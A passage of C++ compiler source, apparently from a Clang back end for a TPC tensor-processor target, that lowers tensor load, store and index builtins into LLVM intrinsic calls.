FEDestTy, Result);\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n return Result;\n}\n\n\n// __global void *gen_addr(int5 inx, const int8_t tensor, int switches, __global void *income, bool predicate, bool polarity);\n//\nstatic Value *emit_GEN_ADDR(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n const unsigned IndexOpNum = 0;\n const unsigned TensorOpNum = 1;\n const unsigned SwitchesOpNum = 2;\n const unsigned IncomeOpNum = 3;\n const unsigned PredicateOpNum = 4;\n const unsigned PolarityOpNum = 5;\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n assert(Multiplicity == 0);\n\n Value *Index = CGF->EmitScalarExpr(E->getArg(IndexOpNum));\n Value *Tensor = CGF->EmitScalarExpr(E->getArg(TensorOpNum));\n Value *Switches = CGF->EmitScalarExpr(E->getArg(SwitchesOpNum));\n Value *Predicate = emitPredicate(CGF, E->getArg(PredicateOpNum));\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Income;\n if (isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_gen_addr);\n Value *Result = CGF->Builder.CreateCall(Callee,\n {Index, Tensor, Switches, Income, Predicate, Polarity});\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n return Result;\n}\n\n\n// int5 prmt_indx(int5 ndx, int prmt_type, int switchs, int5 income, bool predicate, bool polarity);\n//\nstatic Value *emit_PRMT_INDX(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n const unsigned IndexOpNum = 0;\n const unsigned PTypeOpNum = 1;\n const unsigned SwitchesOpNum = 2;\n const unsigned IncomeOpNum = 3;\n const unsigned PredicateOpNum = 4;\n const unsigned PolarityOpNum = 5;\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n assert(Multiplicity == 0);\n\n Value *Index = CGF->EmitScalarExpr(E->getArg(IndexOpNum));\n Value *PType = CGF->EmitScalarExpr(E->getArg(PTypeOpNum));\n Value *Switches = CGF->EmitScalarExpr(E->getArg(SwitchesOpNum));\n Value *Predicate = emitPredicate(CGF, E->getArg(PredicateOpNum));\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Income;\n if (isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_prmt_indx);\n Value *Result = CGF->Builder.CreateCall(Callee,\n { Index, PType, Switches, Income, Predicate, Polarity });\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n return Result;\n}\n\n\nstatic Value *emit_SET_INDX(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n const unsigned SwitchesOpNum = 3;\n\n Function * Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_set_indx);\n\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwitchesOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n if (SwitchVal && !CGF->CGM.getCodeGenOpts().LongIRF)\n report_fatal_error(\"set_indx with high switch relevants only if -long-irf specified\");\n\n Value *Val = CGF->EmitScalarExpr(E->getArg(0));\n Value *Income = CGF->EmitScalarExpr(E->getArg(1));\n Value *Mask = CGF->EmitScalarExpr(E->getArg(2));\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Value *Pred = CGF->EvaluateExprAsBool(E->getArg(4));\n Value *Polarity = CGF->EvaluateExprAsBool(E->getArg(5));\n\n return CGF->Builder.CreateCall(Callee, { Income, Mask, Val, Switches, Pred, Polarity });\n}\n\n\n// float64 v_f32_ld_tnsr_b (int5 ndx, int8_t tensor, int switches, float64 income, bool predicate, bool polarity);\n// float64 v_f32_ld_tnsr_partial_vb (int5 ndx, int8_t tensor, int8_t offset, int8_t size, int switches, float64 income, bool64 predicate, bool polarity);\n//\nstatic Value *emit_LD_TNSR(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n unsigned NumArgs = E->getNumArgs();\n const unsigned IndexOpNum = 0;\n const unsigned TensorOpNum = 1;\n const unsigned OffsetOpNum = 2;\n const unsigned SizeOpNum = 3;\n const unsigned SwitchesOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredicateOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs - 1;\n bool IsPartial = E->getNumArgs() == 8;\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n assert(Multiplicity == 0);\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwitchesOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n if (IsPartial)\n SwitchVal |= TPCII::SW_PARTIAL;\n\n // Operands.\n SmallVector<llvm::Value *, 8> Args;\n Args.push_back(CGF->EmitScalarExpr(E->getArg(IndexOpNum)));\n Args.push_back(CGF->EmitScalarExpr(E->getArg(TensorOpNum)));\n\n if (IsPartial) {\n Value *Size = CGF->EmitScalarExpr(E->getArg(OffsetOpNum));\n Value *Offset = CGF->EmitScalarExpr(E->getArg(SizeOpNum));\n Size = CGF->Builder.CreateZExt(Size, CGF->Int32Ty);\n Offset = CGF->Builder.CreateZExt(Offset, CGF->Int32Ty);\n Offset = CGF->Builder.CreateShl(Offset, ConstantInt::get(CGF->Int32Ty, 8));\n Value *OffSize = CGF->Builder.CreateOr(Offset, Size);\n Args.push_back(OffSize);\n } else {\n assert(E->getNumArgs() == 6);\n }\n\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Value *Predicate = emitPredicate(CGF, E->getArg(PredicateOpNum));\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Income;\n // If PARTIAL is specified, income argument must never be replaced with Undef,\n // as in this case the instruction updates income value.\n if (!IsPartial && isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n\n Args.push_back(Switches);\n Args.push_back(Income);\n Args.push_back(Predicate);\n Args.push_back(Polarity);\n Function * Callee;\n if (IsPartial) {\n Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_ld_tnsr_partial, { ResultTy, Predicate->getType() });\n } else {\n Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_ld_tnsr, { ResultTy, Predicate->getType() });\n }\n\n Value *Result = CGF->Builder.CreateCall(Callee, Args);\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n return Result;\n}\n\nstatic Value *emit_LD_TNSR_DIRECT(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch,\n unsigned IID, bool isPartial) {\n\n const unsigned NumArgs = E->getNumArgs();\n\n const unsigned SizeOpNum = isPartial ? 2 : 0;\n const unsigned OffsetOpNum = isPartial ? 3 : 0;\n const unsigned SwitchesOpNum = isPartial ? 4 : 2;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredicateOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs - 1;\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n assert(Multiplicity == 0);\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwitchesOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R);\n (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n SwitchVal |= TPCII::SW_DIRECT;\n if (isPartial) SwitchVal |= TPCII::SW_PARTIAL;\n\n // Operands.\n SmallVector<llvm::Value *, 8> Args;\n Args.push_back(CGF->EmitScalarExpr(E->getArg(0))); // Src1\n Args.push_back(CGF->EmitScalarExpr(E->getArg(1))); // Src2\n\n if (isPartial) {\n Value *Size = CGF->EmitScalarExpr(E->getArg(OffsetOpNum));\n Value *Offset = CGF->EmitScalarExpr(E->getArg(SizeOpNum));\n Size = CGF->Builder.CreateZExt(Size, CGF->Int32Ty);\n Offset = CGF->Builder.CreateZExt(Offset, CGF->Int32Ty);\n Offset = CGF->Builder.CreateShl(Offset, ConstantInt::get(CGF->Int32Ty, 8));\n Value *OffSize = CGF->Builder.CreateOr(Offset, Size);\n Args.push_back(OffSize);\n }\n\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Value *Predicate = emitPredicate(CGF, E->getArg(PredicateOpNum));\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Income;\n\n // If PARTIAL is specified, income argument must never be replaced with Undef,\n // as in this case the instruction updates income value.\n if (!isPartial && isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n\n Args.push_back(Switches);\n Args.push_back(Income);\n Args.push_back(Predicate);\n Args.push_back(Polarity);\n\n Function *Callee = CGF->CGM.getIntrinsic(IID, {ResultTy, Predicate->getType()});\n\n Value *Result = CGF->Builder.CreateCall(Callee, Args);\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n return Result;\n}\n\nstatic Value *emit_LD_TNSR_LOW(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n unsigned NumArgs = E->getNumArgs();\n const unsigned IndexOpNum = 0;\n const unsigned TensorOpNum = 1;\n const unsigned OffsetOpNum = 2;\n const unsigned SizeOpNum = 3;\n const unsigned SwitchesOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredicateOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs - 1;\n bool IsPartial = E->getNumArgs() == 8;\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n assert(Multiplicity == 0);\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwitchesOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n if (IsPartial)\n SwitchVal |= TPCII::SW_PARTIAL;\n\n // Operands.\n SmallVector<llvm::Value *, 8> Args;\n Args.push_back(CGF->EmitScalarExpr(E->getArg(IndexOpNum)));\n Args.push_back(CGF->EmitScalarExpr(E->getArg(TensorOpNum)));\n\n if (IsPartial) {\n Value *Size = CGF->EmitScalarExpr(E->getArg(OffsetOpNum));\n Value *Offset = CGF->EmitScalarExpr(E->getArg(SizeOpNum));\n Size = CGF->Builder.CreateZExt(Size, CGF->Int32Ty);\n Offset = CGF->Builder.CreateZExt(Offset, CGF->Int32Ty);\n Offset = CGF->Builder.CreateShl(Offset, ConstantInt::get(CGF->Int32Ty, 8));\n Value *OffSize = CGF->Builder.CreateOr(Offset, Size);\n Args.push_back(OffSize);\n } else {\n assert(E->getNumArgs() == 6);\n }\n\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Value *Predicate = emitPredicate(CGF, E->getArg(PredicateOpNum));\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Income;\n // If PARTIAL is specified, income argument must never be replaced with Undef,\n // as in this case the instruction updates income value.\n if (!IsPartial && isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n\n Args.push_back(Switches);\n Args.push_back(Income);\n Args.push_back(Predicate);\n Args.push_back(Polarity);\n Function * Callee;\n if (IsPartial) {\n Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_ld_tnsr_low_partial, { ResultTy, Predicate->getType() });\n } else {\n Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_ld_tnsr_low, { ResultTy, Predicate->getType() });\n }\n\n Value *Result = CGF->Builder.CreateCall(Callee, Args);\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n return Result;\n}\n\n\nstatic Value *emit_LD_TNSR_HIGH(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n unsigned NumArgs = E->getNumArgs();\n const unsigned IndexOpNum = 0;\n const unsigned TensorOpNum = 1;\n const unsigned OffsetOpNum = 2;\n const unsigned SizeOpNum = 3;\n const unsigned SwitchesOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredicateOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs - 1;\n bool IsPartial = E->getNumArgs() == 8;\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n assert(Multiplicity == 0);\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwitchesOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n if (IsPartial)\n SwitchVal |= TPCII::SW_PARTIAL;\n\n // Operands.\n SmallVector<llvm::Value *, 8> Args;\n Args.push_back(CGF->EmitScalarExpr(E->getArg(IndexOpNum)));\n Args.push_back(CGF->EmitScalarExpr(E->getArg(TensorOpNum)));\n\n if (IsPartial) {\n Value *Size = CGF->EmitScalarExpr(E->getArg(OffsetOpNum));\n Value *Offset = CGF->EmitScalarExpr(E->getArg(SizeOpNum));\n Size = CGF->Builder.CreateZExt(Size, CGF->Int32Ty);\n Offset = CGF->Builder.CreateZExt(Offset, CGF->Int32Ty);\n Offset = CGF->Builder.CreateShl(Offset, ConstantInt::get(CGF->Int32Ty, 8));\n Value *OffSize = CGF->Builder.CreateOr(Offset, Size);\n Args.push_back(OffSize);\n } else {\n assert(E->getNumArgs() == 6);\n }\n\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Value *Predicate = emitPredicate(CGF, E->getArg(PredicateOpNum));\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Income;\n // If PARTIAL is specified, income argument must never be replaced with Undef,\n // as in this case the instruction updates income value.\n if (!IsPartial && isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n\n Args.push_back(Switches);\n Args.push_back(Income);\n Args.push_back(Predicate);\n Args.push_back(Polarity);\n Function * Callee;\n if (IsPartial) {\n Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_ld_tnsr_high_partial, { ResultTy, Predicate->getType() });\n } else {\n Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_ld_tnsr_high, { ResultTy, Predicate->getType() });\n }\n\n Value *Result = CGF->Builder.CreateCall(Callee, Args);\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n return Result;\n}\n\n\n// void v_f32_st_tnsr (int5 ndx, const int8_t tensor, float64 value, int switches, bool predicate, bool polarity);\n// void v_f32_st_tnsr_r (int5 ndx, int8_t tensor, float64 value, int switches, bool predicate, bool polarity);\n// void v_f32_st_tnsr_rmw (int5 ndx, int8_t tensor, float64 value, int rmw, int switches, bool predicate, bool polarity);\n// void v_f32_st_tnsr_partial (int5 ndx, int8_t tensor, float64 value, int offsize, int switches, bool predicate, bool polarity);\n// void v_f32_st_tnsr_partial_rmw (int5 ndx, int8_t tensor, float64 value, int rmw, int offsize, int switches, bool predicate, bool polarity);\n//\nstatic Value *emit_ST_TNSR(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n unsigned NumArgs = E->getNumArgs();\n const unsigned IndexOpNum = 0;\n const unsigned TensorOpNum = 1;\n const unsigned ValueOpNum = 2;\n const unsigned RMWOpNum = 3;\n const unsigned SwitchesOpNum = NumArgs - 3;\n const unsigned PredicateOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs - 1;\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwitchesOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned RequiredSwitches;\n const unsigned SwitchMask = TPCII::SW_PARTIAL | TPCII::SW_RMW_SEL;\n unsigned IID;\n switch (BuiltinID) {\n case TPC::BIv_f32_st_tnsr:\n case TPC::BIv_bf16_st_tnsr:\n case TPC::BIv_i32_st_tnsr:\n case TPC::BIv_u32_st_tnsr:\n case TPC::BIv_i16_st_tnsr:\n case TPC::BIv_u16_st_tnsr:\n case TPC::BIv_i8_st_tnsr:\n case TPC::BIv_u8_st_tnsr:\n case TPC::BIv_i1_st_tnsr:\n RequiredSwitches = 0;\n IID = Intrinsic::tpc_st_tnsr;\n break;\n case TPC::BIv_f32_st_tnsr_rmw:\n case TPC::BIv_bf16_st_tnsr_rmw:\n case TPC::BIv_i32_st_tnsr_rmw:\n case TPC::BIv_u32_st_tnsr_rmw:\n case TPC::BIv_i16_st_tnsr_rmw:\n case TPC::BIv_u16_st_tnsr_rmw:\n case TPC::BIv_i8_st_tnsr_rmw:\n case TPC::BIv_u8_st_tnsr_rmw:\n case TPC::BIv_i1_st_tnsr_rmw:\n RequiredSwitches = TPCII::SW_RMW_SEL;\n IID = Intrinsic::tpc_st_tnsr_rmw;\n break;\n case TPC::BIv_f32_st_tnsr_partial:\n case TPC::BIv_bf16_st_tnsr_partial:\n case TPC::BIv_i32_st_tnsr_partial:\n case TPC::BIv_u32_st_tnsr_partial:\n case TPC::BIv_i16_st_tnsr_partial:\n case TPC::BIv_u16_st_tnsr_partial:\n case TPC::BIv_i8_st_tnsr_partial:\n case TPC::BIv_u8_st_tnsr_partial:\n case TPC::BIv_i1_st_tnsr_partial:\n RequiredSwitches = TPCII::SW_PARTIAL;\n IID = Intrinsic::tpc_st_tnsr_partial;\n break;\n case TPC::BIv_f32_st_tnsr_partial_rmw:\n case TPC::BIv_bf16_st_tnsr_partial_rmw:\n case TPC::BIv_i32_st_tnsr_partial_rmw:\n case TPC::BIv_u32_st_tnsr_partial_rmw:\n case TPC::BIv_i16_st_tnsr_partial_rmw:\n case TPC::BIv_u16_st_tnsr_partial_rmw:\n case TPC::BIv_i8_st_tnsr_partial_rmw:\n case TPC::BIv_u8_st_tnsr_partial_rmw:\n case TPC::BIv_i1_st_tnsr_partial_rmw:\n RequiredSwitches = TPCII::SW_PARTIAL | TPCII::SW_RMW_SEL;\n IID = Intrinsic::tpc_st_tnsr_partial_rmw;\n break;\n default:\n llvm_unreachable(\"Unhandled ST_TNSR intrinsic\");\n }\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n SwitchVal &= ~SwitchMask;\n SwitchVal |= RequiredSwitches;\n\n // Operands.\n SmallVector<llvm::Value *, 8> Args;\n Args.push_back(CGF->EmitScalarExpr(E->getArg(IndexOpNum)));\n Args.push_back(CGF->EmitScalarExpr(E->getArg(TensorOpNum)));\n Value *Val = CGF->EmitScalarExpr(E->getArg(ValueOpNum));\n Args.push_back(Val);\n\n if (SwitchVal & TPCII::SW_RMW_SEL)\n Args.push_back(CGF->EmitScalarExpr(E->getArg(RMWOpNum)));\n if (SwitchVal & TPCII::SW_PARTIAL) {\n Value *Size = CGF->EmitScalarExpr(E->getArg(Args.size()));\n Value *Offset = CGF->EmitScalarExpr(E->getArg(Args.size()+1));\n Size = CGF->Builder.CreateZExt(Size, CGF->Int32Ty);\n Offset = CGF->Builder.CreateZExt(Offset, CGF->Int32Ty);\n Offset = CGF->Builder.CreateShl(Offset, ConstantInt::get(CGF->Int32Ty, 8));\n Value *OffSize = CGF->Builder.CreateOr(Offset, Size);\n Args.push_back(OffSize);\n }\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Args.push_back(Switches);\n Value *Predicate = emitPredicate(CGF, E->getArg(PredicateOpNum));\n Value *Polarity = CGF->EvaluateExprAsBool(E->getArg(PolarityOpNum));\n Args.push_back(Predicate);\n Args.push_back(Polarity);\n\n Function *Callee = CGF->CGM.getIntrinsic(IID, Val->getType());\n return CGF->Builder.CreateCall(Callee, Args);\n}\n\nstatic Value *emit_ST_TNSR_DIRECT(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E,\n llvm::Triple::ArchType Arch, unsigned IID,\n bool isPartial, bool isRmw) {\n\n unsigned NumArgs = E->getNumArgs();\n\n const unsigned ValueOpNum = 2;\n const unsigned RMWOpNum = isRmw ? (isPartial ? 4 : 3) : 0;\n const unsigned SwitchesOpNum = NumArgs - 3;\n const unsigned PredicateOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs - 1;\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwitchesOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R);\n (void)R;\n\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n SwitchVal |= TPCII::SW_DIRECT;\n if (isPartial) SwitchVal |= TPCII::SW_PARTIAL;\n if (isRmw) SwitchVal |= TPCII::SW_RMW_SEL;\n\n // Operands.\n SmallVector<llvm::Value *, 8> Args;\n Args.push_back(CGF->EmitScalarExpr(E->getArg(0))); // Src1\n Args.push_back(CGF->EmitScalarExpr(E->getArg(1))); // Src2\n Value *Val = CGF->EmitScalarExpr(E->getArg(ValueOpNum));\n Args.push_back(Val);\n\n if (isRmw) Args.push_back(CGF->EmitScalarExpr(E->getArg(RMWOpNum)));\n if (isPartial) {\n Value *Size = CGF->EmitScalarExpr(E->getArg(Args.size()));\n Value *Offset = CGF->EmitScalarExpr(E->getArg(Args.size() + 1));\n Size = CGF->Builder.CreateZExt(Size, CGF->Int32Ty);\n Offset = CGF->Builder.CreateZExt(Offset, CGF->Int32Ty);\n Offset = CGF->Builder.CreateShl(Offset, ConstantInt::get(CGF->Int32Ty, 8));\n Value *OffSize = CGF->Builder.CreateOr(Offset, Size);\n Args.push_back(OffSize);\n }\n\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Args.push_back(Switches);\n\n Value *Predicate = emitPredicate(CGF, E->getArg(PredicateOpNum));\n Value *Polarity = CGF->EvaluateExprAsBool(E->getArg(PolarityOpNum));\n Args.push_back(Predicate);\n\n Args.push_back(Polarity);\n\n Function *Callee = CGF->CGM.getIntrinsic(IID, Val->getType());\n return CGF->Builder.CreateCall(Callee, Args);\n}\n\n// void v_f32_st_tnsr_low (int5 ndx, const int8_t tensor, float64 value, int switches, bool predicate, bool polarity);\n// void v_f32_st_tnsr_low_r (int5 ndx, int8_t tensor, float64 value, int switches, bool predicate, bool polarity);\n// void v_f32_st_tnsr_low_rmw (int5 ndx, int8_t tensor, float64 value, int rmw, int switches, bool predicate, bool polarity);\n//\nstatic Value *emit_ST_TNSR_LOW(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n unsigned NumArgs = E->getNumArgs();\n const unsigned IndexOpNum = 0;\n const unsigned TensorOpNum = 1;\n const unsigned ValueOpNum = 2;\n const unsigned RMWOpNum = 3;\n const unsigned SwitchesOpNum = NumArgs - 3;\n const unsigned PredicateOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs - 1;\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwitchesOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned RequiredSwitches;\n const unsigned SwitchMask = TPCII::SW_RMW_SEL;\n unsigned IID;\n switch (BuiltinID) {\n case TPC::BIv_f32_st_tnsr_low:\n case TPC::BIv_bf16_st_tnsr_low:\n case TPC::BIv_i32_st_tnsr_low:\n case TPC::BIv_u32_st_tnsr_low:\n case TPC::BIv_i16_st_tnsr_low:\n case TPC::BIv_u16_st_tnsr_low:\n case TPC::BIv_i8_st_tnsr_low:\n case TPC::BIv_u8_st_tnsr_low:\n case TPC::BIv_i1_st_tnsr_low:\n RequiredSwitches = 0;\n IID = Intrinsic::tpc_st_tnsr_low;\n break;\n case TPC::BIv_f32_st_tnsr_low_rmw:\n case TPC::BIv_bf16_st_tnsr_low_rmw:\n case TPC::BIv_i32_st_tnsr_low_rmw:\n case TPC::BIv_u32_st_tnsr_low_rmw:\n case TPC::BIv_i16_st_tnsr_low_rmw:\n case TPC::BIv_u16_st_tnsr_low_rmw:\n case TPC::BIv_i8_st_tnsr_low_rmw:\n case TPC::BIv_u8_st_tnsr_low_rmw:\n case TPC::BIv_i1_st_tnsr_low_rmw:\n RequiredSwitches = TPCII::SW_RMW_SEL;\n IID = Intrinsic::tpc_st_tnsr_low_rmw;\n break;\n default:\n llvm_unreachable(\"Unhandled ST_TNSR_LOW intrinsic\");\n }\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n SwitchVal &= ~SwitchMask;\n SwitchVal |= RequiredSwitches;\n\n // Operands.\n SmallVector<llvm::Value *, 8> Args;\n Args.push_back(CGF->EmitScalarExpr(E->getArg(IndexOpNum)));\n Args.push_back(CGF->EmitScalarExpr(E->getArg(TensorOpNum)));\n Value *Val = CGF->EmitScalarExpr(E->getArg(ValueOpNum));\n Args.push_back(Val);\n\n if (SwitchVal & TPCII::SW_RMW_SEL)\n Args.push_back(CGF->EmitScalarExpr(E->getArg(RMWOpNum)));\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Args.push_back(Switches);\n Value *Predicate = emitPredicate(CGF, E->getArg(PredicateOpNum));\n Value *Polarity = CGF->EvaluateExprAsBool(E->getArg(PolarityOpNum));\n Args.push_back(Predicate);\n Args.push_back(Polarity);\n\n Function *Callee = CGF->CGM.getIntrinsic(IID, Val->getType());\n return CGF->Builder.CreateCall(Callee, Args);\n}\n\n\n// void v_f32_st_tnsr_high (int5 ndx, const int8_t tensor, float64 value, int switches, bool predicate, bool polarity);\n// void v_f32_st_tnsr_high_r (int5 ndx, int8_t tensor, float64 value, int switches, bool predicate, bool polarity);\n// void v_f32_st_tnsr_high_rmw (int5 ndx, int8_t tensor, float64 value, int rmw, int switches, bool predicate, bool polarity);\n//\nstatic Value *emit_ST_TNSR_HIGH(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n unsigned NumArgs = E->getNumArgs();\n const unsigned IndexOpNum = 0;\n const unsigned TensorOpNum = 1;\n const unsigned ValueOpNum = 2;\n const unsigned RMWOpNum = 3;\n const unsigned SwitchesOpNum = NumArgs - 3;\n const unsigned PredicateOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs - 1;\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwitchesOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned RequiredSwitches;\n const unsigned SwitchMask = TPCII::SW_RMW_SEL;\n unsigned IID;\n switch (BuiltinID) {\n case TPC::BIv_f32_st_tnsr_high:\n case TPC::BIv_bf16_st_tnsr_high:\n case TPC::BIv_i32_st_tnsr_high:\n case TPC::BIv_u32_st_tnsr_high:\n case TPC::BIv_i16_st_tnsr_high:\n case TPC::BIv_u16_st_tnsr_high:\n case TPC::BIv_i8_st_tnsr_high:\n case TPC::BIv_u8_st_tnsr_high:\n case TPC::BIv_i1_st_tnsr_high:\n RequiredSwitches = 0;\n IID = Intrinsic::tpc_st_tnsr_high;\n break;\n case TPC::BIv_f32_st_tnsr_high_rmw:\n case TPC::BIv_bf16_st_tnsr_high_rmw:\n case TPC::BIv_i32_st_tnsr_high_rmw:\n case TPC::BIv_u32_st_tnsr_high_rmw:\n case TPC::BIv_i16_st_tnsr_high_rmw:\n case TPC::BIv_u16_st_tnsr_high_rmw:\n case TPC::BIv_i8_st_tnsr_high_rmw:\n case TPC::BIv_u8_st_tnsr_high_rmw:\n case TPC::BIv_i1_st_tnsr_high_rmw:\n RequiredSwitches = TPCII::SW_RMW_SEL;\n IID = Intrinsic::tpc_st_tnsr_high_rmw;\n break;\n default:\n llvm_unreachable(\"Unhandled ST_TNSR_HIGH intrinsic\");\n }\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n SwitchVal &= ~SwitchMask;\n SwitchVal |= RequiredSwitches;\n\n // Operands.\n SmallVector<llvm::Value *, 8> Args;\n Args.push_back(CGF->EmitScalarExpr(E->getArg(IndexOpNum)));\n 